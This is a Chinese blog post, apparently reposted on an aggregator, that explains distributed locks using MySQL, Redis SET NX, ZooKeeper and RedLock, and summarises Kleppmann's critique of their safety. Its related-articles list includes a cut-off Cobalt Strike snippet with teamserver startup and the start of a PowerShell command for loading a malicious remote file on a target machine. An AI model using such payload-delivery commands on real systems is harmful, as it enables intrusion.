分布式锁及实现方式

news2024/9/22 13:41:04

一、背景

什么是锁?

  1. 在单进程的系统中,当存在多个线程可以同时改变某个变量(可变共享变量)时,就需要对变量或代码块做同步,使其在修改这种变量时能够线性执行消除并发修改变量。
  2. 而同步的本质是通过锁来实现的。为了实现多个线程在一个时刻同一个代码块只能有一个线程可执行,那么需要在某个地方做个标记,这个标记必须每个线程都能看到,当标记不存在时可以设置该标记,其余后续线程发现已经有标记了则等待拥有标记的线程结束同步代码块取消标记后再去尝试设置标记。这个标记可以理解为锁。
  3. 不同地方实现锁的方式也不一样,只要能满足所有线程都能看得到标记即可。如 Java 中 synchronize 是在对象头设置标记,Lock 接口的实现类基本上都只是某一个 volitile 修饰的 int 型变量其保证每个线程都能拥有对该 int 的可见性和原子修改,linux 内核中也是利用互斥量或信号量等内存数据做标记。
  4. 除了利用内存数据做锁其实任何互斥的都能做锁(只考虑互斥情况),如流水表中流水号与时间结合做幂等校验可以看作是一个不会释放的锁,或者使用某个文件是否存在作为锁等。只需要满足在对标记进行修改能保证原子性和内存可见性即可。

什么是分布式?

分布式的 CAP 理论告诉我们:

任何一个分布式系统都无法同时满足一致性(Consistency)、可用性(Availability)和分区容错性(Partition tolerance),最多只能同时满足两项。目前很多大型网站及应用都是分布式部署的,分布式场景中的数据一致性问题一直是一个比较重要的话题。基于 CAP理论,很多系统在设计之初就要对这三者做出取舍。在互联网领域的绝大多数的场景中,都需要牺牲强一致性来换取系统的高可用性,系统往往只需要保证最终一致性。 

分布式场景 

在许多的场景中,我们为了保证数据的最终一致性,需要很多的技术方案来支持,比如分布式事务、分布式锁等。很多时候我们需要保证一个方法在同一时间内只能被同一个线程执行。在单机环境中,通过 Java 提供的并发 API 我们可以解决,但是在分布式环境下,就没有那么简单啦。

  1. 分布式与单机情况下最大的不同在于其不是多线程而是多进程。
  2. 多线程由于可以共享堆内存,因此可以简单的采取内存作为标记存储位置。而进程之间甚至可能都不在同一台物理机上,因此需要将标记存储在一个所有进程都能看到的地方。

二、分布式锁

什么是分布式锁?

  1. 当在分布式模型下,数据只有一份(或有限制),此时需要利用锁的技术控制某一时刻修改数据的进程数。
  2. 与单机模式下的锁不仅需要保证进程可见,还需要考虑进程与锁之间的网络问题。(我觉得分布式情况下之所以问题变得复杂,主要就是需要考虑到网络的延时和不可靠。。。一个大坑)
  3. 分布式锁还是可以将标记存在内存,只是该内存不是某个进程分配的内存而是公共内存如 Redis、Memcache。至于利用数据库、文件等做锁与单机的实现是一样的,只要保证标记能互斥就行。

我们需要怎样的分布式锁? 

  1. 可以保证在分布式部署的应用集群中,同一个方法在同一时间只能被一台机器上的一个线程执行。
  2. 这把锁要是一把可重入锁(避免死锁)
  3. 这把锁最好是一把阻塞锁(根据业务需求考虑要不要这条)
  4. 这把锁最好是一把公平锁(根据业务需求考虑要不要这条)
  5. 有高可用的获取锁和释放锁功能
  6. 同一时间点,只有一个线程持有锁
  7. 容错性, 当锁节点宕机时, 能及时释放锁
  8. 无单点问题
我们了解了一些特点之后,我们一般实现分布式锁有以下几个方式:
  • MySql
  • Zk
  • Redis
  • 自研分布式锁:如谷歌的Chubby。 

下面分开介绍一下这些分布式锁的实现原理。

三、Mysql

基于数据库的分布式锁, 常用的一种方式是使用表的唯一约束特性。当往数据库中成功插入一条数据时, 代表只获取到锁。将这条数据从数据库中删除,则释放锁。

如何优化数据库锁

  • 数据库是单点?搞两个数据库,数据之前双向同步,一旦挂掉快速切换到备库上。
  • 没有失效时间?只要做一个定时任务,每隔一定时间把数据库中的超时数据清理一遍。
  • 非阻塞的?搞一个 while 循环,直到 insert 成功再返回成功。
  • 非重入的?在数据库表中加个字段,记录当前获得锁的机器的主机信息和线程信息,那么下次再获取锁的时候先查询数据库,如果当前机器的主机信息和线程信息在数据库可以查到的话,直接把锁分配给他就可以了。
  • 非公平的?再建一张中间表,将等待锁的线程全记录下来,并根据创建时间排序,只有最先创建的允许获取锁。
  • 比较好的办法是在程序中生产主键进行防重。

适用场景: Mysql分布式锁一般适用于资源不存在数据库,如果数据库存在比如订单,那么可以直接对这条数据加行锁,不需要我们上面多的繁琐的步骤,比如一个订单,那么我们可以用select * from order_table where id = 'xxx' for update进行加行锁,那么其他的事务就不能对其进行修改。

优点:理解起来简单,不需要维护额外的第三方中间件(比如Redis,Zk)。

缺点:虽然容易理解但是实现起来较为繁琐,需要自己考虑锁超时,加事务等等。性能局限于数据库,一般对比缓存来说性能较低。对于高并发的场景并不是很适合。

四、Redis

使用redis 的set(String key, String value, String nxxx, String expx, int time)命令

  • 第一个为key,我们使用key来当锁,因为key是唯一的。
  • 第二个为value,我们传的是custId,这里cust_id 可以是机器的mac地址+线程编号, 确保一个线程只有唯一的一个编号。通过这个编号, 可以有效的判断是否为锁的创建者,从而进行锁的释放以及重入锁判断
  • 第三个为nxxx,这个参数我们填的是NX,意思是SET IF NOT EXIST,即当key不存在时,我们进行set操作;若key已经存在,则不做任何操作
  • 第四个为expx,这个参数我们传的是PX,意思是我们要给这个key加一个过期的设置,具体时间由第五个参数决定。
  • 第五个为time,与第四个参数相呼应,代表key的过期时间。

这里有个问题,加锁了之后如果机器宕机那么这个锁就不会得到释放所以会加入过期时间,加入过期时间需要和setNx同一个原子操作,在Redis2.8之前我们需要使用Lua脚本达到我们的目的,但是redis2.8之后redis支持nx和ex操作是同一原子操作。

优点:对于Redis实现简单,性能对比ZK和Mysql较好。如果不需要特别复杂的要求,那么自己就可以利用setNx进行实现,如果自己需要复杂的需求的话那么可以利用或者借鉴Redission。对于一些要求比较严格的场景来说的话可以使用RedLock。

缺点:需要维护Redis集群,如果要实现RedLock那么需要维护更多的集群。

五、Zookeeper

基于zookeeper临时有序节点可以实现的分布式锁。 大致思想即为:每个客户端对某个方法加锁时,在zookeeper上的与该方法对应的指定节点的目录下,生成一个唯一的瞬时有序节点。 判断是否获取锁的方式很简单,只需要判断有序节点中序号最小的一个。 当释放锁的时候,只需将这个瞬时节点删除即可。同时,其可以避免服务宕机导致的锁无法释放,而产生的死锁问题。

优点:有效的解决单点问题,不可重入问题,非阻塞问题以及锁无法释放的问题。实现起来较为简单。

缺点:性能上可能并没有缓存服务那么高,因为每次在创建锁和释放锁的过程中,都要动态创建、销毁临时节点来实现锁功能。ZK 中创建和删除节点只能通过 Leader 服务器来执行,然后将数据同步到所有的 Follower 机器上。还需要对 ZK的原理有所了解。

六、RedLock

我们想象一个这样的场景当机器A申请到一把锁之后,如果Redis主宕机了,这个时候从机并没有同步到这一把锁,那么机器B再次申请的时候就会再次申请到这把锁,为了解决这个问题Redis作者提出了RedLock红锁的算法,在Redission中也对RedLock进行了实现。

通过上面的代码,我们需要实现多个Redis集群,然后进行红锁的加锁,解锁。具体的步骤如下:

  1. 首先生成多个Redis集群的Rlock,并将其构造成RedLock。
  2. 依次循环对三个集群进行加锁,加锁的过程和5.2里面一致。
  3. 如果循环加锁的过程中加锁失败,那么需要判断加锁失败的次数是否超出了最大值,这里的最大值是根据集群的个数,比如三个那么只允许失败一个,五个的话只允许失败两个,要保证多数成功。
  4. 加锁的过程中需要判断是否加锁超时,有可能我们设置加锁只能用3ms,第一个集群加锁已经消耗了3ms了。那么也算加锁失败。
  5. 3,4步里面加锁失败的话,那么就会进行解锁操作,解锁会对所有的集群在请求一次解锁。

可以看见RedLock基本原理是利用多个Redis集群,用多数的集群加锁成功,减少Redis某个集群出故障,造成分布式锁出现问题的概率。

七、分布式锁的安全问题

上面我们介绍过红锁,但是Martin Kleppmann认为其依然不安全。有关于Martin反驳的几点,我认为其实不仅仅局限于RedLock,前面说的算法基本都有这个问题,下面我们来讨论一下这些问题:

  • 长时间的GC pause:熟悉Java的同学肯定对GC不陌生,在GC的时候会发生STW(stop-the-world),例如CMS垃圾回收器,他会有两个阶段进行STW防止引用继续进行变化。那么有可能会出现下面图(引用至Martin反驳Redlock的文章)中这个情况:

client1获取了锁并且设置了锁的超时时间,但是client1之后出现了STW,这个STW时间比较长,导致分布式锁进行了释放,client2获取到了锁,这个时候client1恢复了锁,那么就会出现client1,2同时获取到锁,这个时候分布式锁不安全问题就出现了。这个其实不仅仅局限于RedLock,对于我们的ZK,Mysql一样的有同样的问题。

  • 时钟发生跳跃:对于Redis服务器如果其时间发生了向跳跃,那么肯定会影响我们锁的过期时间,那么我们的锁过期时间就不是我们预期的了,也会出现client1和client2获取到同一把锁,那么也会出现不安全,这个对于Mysql也会出现。但是ZK由于没有设置过期时间,那么发生跳跃也不会受影响。
  • 长时间的网络I/O:这个问题和我们的GC的STW很像,也就是我们这个获取了锁之后我们进行网络调用,其调用时间由可能比我们锁的过期时间都还长,那么也会出现不安全的问题,这个Mysql也会有,ZK也不会出现这个问题。

对于这三个问题,在网上包括Redis作者在内发起了很多讨论。

GC的STW

对于这个问题可以看见基本所有的都会出现问题,Martin给出了一个解法,对于ZK这种他会生成一个自增的序列,那么我们真正进行对资源操作的时候,需要判断当前序列是否是最新,有点类似于我们乐观锁。当然这个解法Redis作者进行了反驳,你既然都能生成一个自增的序列了那么你完全不需要加锁了,也就是可以按照类似于Mysql乐观锁的解法去做。

我自己认为这种解法增加了复杂性,当我们对资源操作的时候需要增加判断序列号是否是最新,无论用什么判断方法都会增加复杂度,后面会介绍谷歌的Chubby提出了一个更好的方案。

时钟发生跳跃

Martin觉得RedLock不安全很大的原因也是因为时钟的跳跃,因为锁过期强依赖于时间,但是ZK不需要依赖时间,依赖每个节点的Session。Redis作者也给出了解答:对于时间跳跃分为人为调整和NTP自动调整。

  • 人为调整:人为调整影响的那么完全可以人为不调整,这个是处于可控的。
  • NTP自动调整:这个可以通过一定的优化,把跳跃时间控制的可控范围内,虽然会跳跃,但是是完全可以接受的。

长时间的网络I/O

这一块不是他们讨论的重点,我自己觉得,对于这个问题的优化可以控制网络调用的超时时间,把所有网络调用的超时时间相加,那么我们锁过期时间其实应该大于这个时间,当然也可以通过优化网络调用比如串行改成并行,异步化等。可以参考我的两个文章: 并行化-你的高并发大杀器,异步化-你的高并发大杀器

八、其他分布锁实现

Redission

Javaer都知道Jedis,Jedis是Redis的Java实现的客户端,其API提供了比较全面的Redis命令的支持。Redission也是Redis的客户端,相比于Jedis功能简单。Jedis简单使用阻塞的I/O和redis交互,Redission通过Netty支持非阻塞I/O。Jedis最新版本2.9.0是2016年的快3年了没有更新,而Redission最新版本是2018.10月更新。

参考:

再有人问你分布式锁,这篇文章扔给他 - 掘金

分布式锁看这篇就够了 - 知乎

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/713964.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

cobaltstrike使用

./teamserver 192.168.137.4 # 启动服务端 ./cobaltstrike # 启动客户端先创建一个监听Listener 1. exe 生成exe文件后,传给靶机,让其执行 2. powershell 在靶机中执行下面这段代码即可,就是远程恶意文件加载 powershell.exe -nop -w hi…

flask +vue3 cas 单点登录(sso)

最近在研究前端vue3ts 后端使用flask 搭建的系统涉及到单点登录问题,这里进行一次总结。 关于cas 单点登录的逻辑,网上介绍的很详细,我这里就说说,我所理解的单点登录: 主要是2种情形: 1.通过平台登录之后 调用子系…

[Qt 教程之Widgets模块] —— QFontComboBox 字体选择器

Qt系列教程总目录 文章目录 3.2.1 创建 QFontComboBox3.2.2 成员函数1. 书写系统2. 字体过滤器3. 当前字体4. 信号 该控件用于选择字体,在一些软件中经常有类似控件,如下: Microsoft Office: Photoshop: QFontComboB…

1759_C语言中冒泡排序的实现以及新编译环境测试

全部学习汇总: GreyZhang/c_basic: little bits of c. (github.com) 最近在重新学习C语言的数据结构,找了一份国外的电子书一点点看。刚刚学完双向链表,接下来的任务是搞定几个常用的排序。 冒泡排序还算是我比较熟悉的,工作之后…

Java数据结构和算法-----数组

1、Java数组介绍 在Java中,数组是用来存放同一种数据类型的集合,注意只能存放同一种数据类型(Object类型数组除外)。 ①、数组的声明 第一种方式: 1 数据类型 [] 数组名称 new 数据类型[数组长度]; 这里 [] 可以放在数组名称的前面&#…

Idea整合Maven安装及配置教程(图文详解)

目录 友情提醒第一章、Maven概述1.1)Maven是什么1.2)Maven进行构建(build)的主要环节 第二章、Maven的下载安装和配置2.1)Maven的下载2.2)Maven环境变量配置2.3)Maven文件setting的配置 第三章、…

python+selenium自动化测试学习—手动搭建selenium环境

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 pythonselenium自动化测试学习—手动搭建selenium环境 一、简介二、安装selenium三、下载浏览器驱动四、搭建selenium环境 一、简介 selenium是一个免费开源的,仅…

FOC-滑膜控制器SMC/滑膜观测器SMO

目录 前面 滑膜速度控制器 控制器所处位置 理论设计 模型搭建 滑膜观测器 基本原理 反正切函数 锁相环 滑膜观测器模型(反正切) 滑膜观测器C代码实现 SMO.c SMO.h 前面 滑膜常见用处有两个: 1、作为滑膜控制器SMC,…

日本电子电器PSE认证METI备案、结构分析函报告详细解答

PSE认证是日本强制性安全认证,用以证明电子电气产品已通过日本电气和原料安全法 (DENAN Law) 或国际IEC标准的安全标准测试,457种产品进入日本市场必须通过PSE认证,其中,116种A类产品为特定电器和材料类,须获取认证并加…

机器学习中的Embeddings是什么

嵌入已经渗透到数据科学家的工具包中,并极大地改变了 NLP、计算机视觉和推荐系统的工作方式。然而,许多数据科学家发现它们过时且令人困惑。更多的人在不了解它们是什么的情况下盲目地使用它们。在本文中,我们将深入探讨嵌入是什么、它们如何…

【vue3】14-Vue全家桶-VueX状态管理

Vue全家桶 - VueX状态管理 认识应用状态管理VueX的状态管理 Vuex状态管理详解Vuex的基本使用单一状态树核心概念State组件获取状态setup中获取状态 核心概念Gettersgetters基本使用getters辅助函数 核心概念MutationsMutation基本使用mutation携带数据Mutation常量类型Mutation…

ModaHub魔搭社区:Zilliz Cloud 多组织与角色管理功能,让你的权限管理更简单!

目录 组织与角色功能简介 如何使用组织与角色功能? Zilliz Cloud 云服务是一套高效、高度可扩展的向量检索解决方案。近期,我们发布了 Zilliz Cloud 新版本,在 Zilliz Cloud 向量数据库中增添了许多新功能。其中,用户呼声最高的…

从零开始备战数学建模国赛之线性规划1.1

从零开始备战数学建模国赛之线性规划1.1 现在距离2023年的数学建模国赛还有不足三个月的时间,想与大家共同备战国赛。 这是我自己总结的一些代码和资料(本文中的代码以及参考书籍等),放在github上供大家参考:https://…

流量控制 Sentinel

一、Sentinel(哨兵)简介 1、Sentinel的功能及特点 1.Sentinel的功能 Sentinel的支持 2.Sentinel的特点 Sentinel的特点 2、Sentinel的组成 核心库(Java 客户端)不依赖任何框架/库,能够运行于所有 Java 8 及以上的运行时环境,同…

HMAC算法详解

1.HMAC算法 1.1 HMAC算法简介 HMAC(Hash-based Message Authentication Code,散列消息认证码)是一种使用密码散列函数,同时结合一个加密密钥,通过特别计算方式之后产生的消息认证码(MAC)。它可…

Go语言使用中遇到的错误

Go语言使用中遇到的错误 1、go: go.mod file not found in current directory or any parent directory. 先运行这一行代码: go mod init name再运行你的 go get 命令就好了。 2、Failed to build the application: main.go:4:2: package generateproject/route…

C++之报错:is an inaccessible base of(一百四十五)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生…

物业管理变牛的好办法,新手零基础必备!

随着城市化进程的加速和商务发展的蓬勃,写字楼作为商业活动的核心场所,在现代都市生活中扮演着至关重要的角色。 随之而来的安全威胁和管理难题也日益凸显。因此,为了确保写字楼内部的安全与秩序,提高工作人员和访客的出入效率&am…

slab 内存池的设计与实现

目录 从一个简单的内存页开始聊 slab slab 的总体架构设计 slab 的组织架构 ​编辑 ​编辑 参考文献 伙伴系统内存分配原理的相关内容来看,伙伴系统管理物理内存的最小单位是物理内存页 page。也就是说,当我们向伙伴系统申请内存时,至少…

Windows:prometheus + grafana + wmi_exporter+ 主机信息监控页面 + 支持主机信息告警

1、PrometheusGrafana环境搭建 1.1、Prometheus 下载地址:Download | Prometheus 选择对应的系统的版本下载并解压压缩包,运行程序 本人在window系统上操作 双击 验证 浏览器输入http://localhost:9090/ 点击Staatus>Targets 出现以下即成功 1.…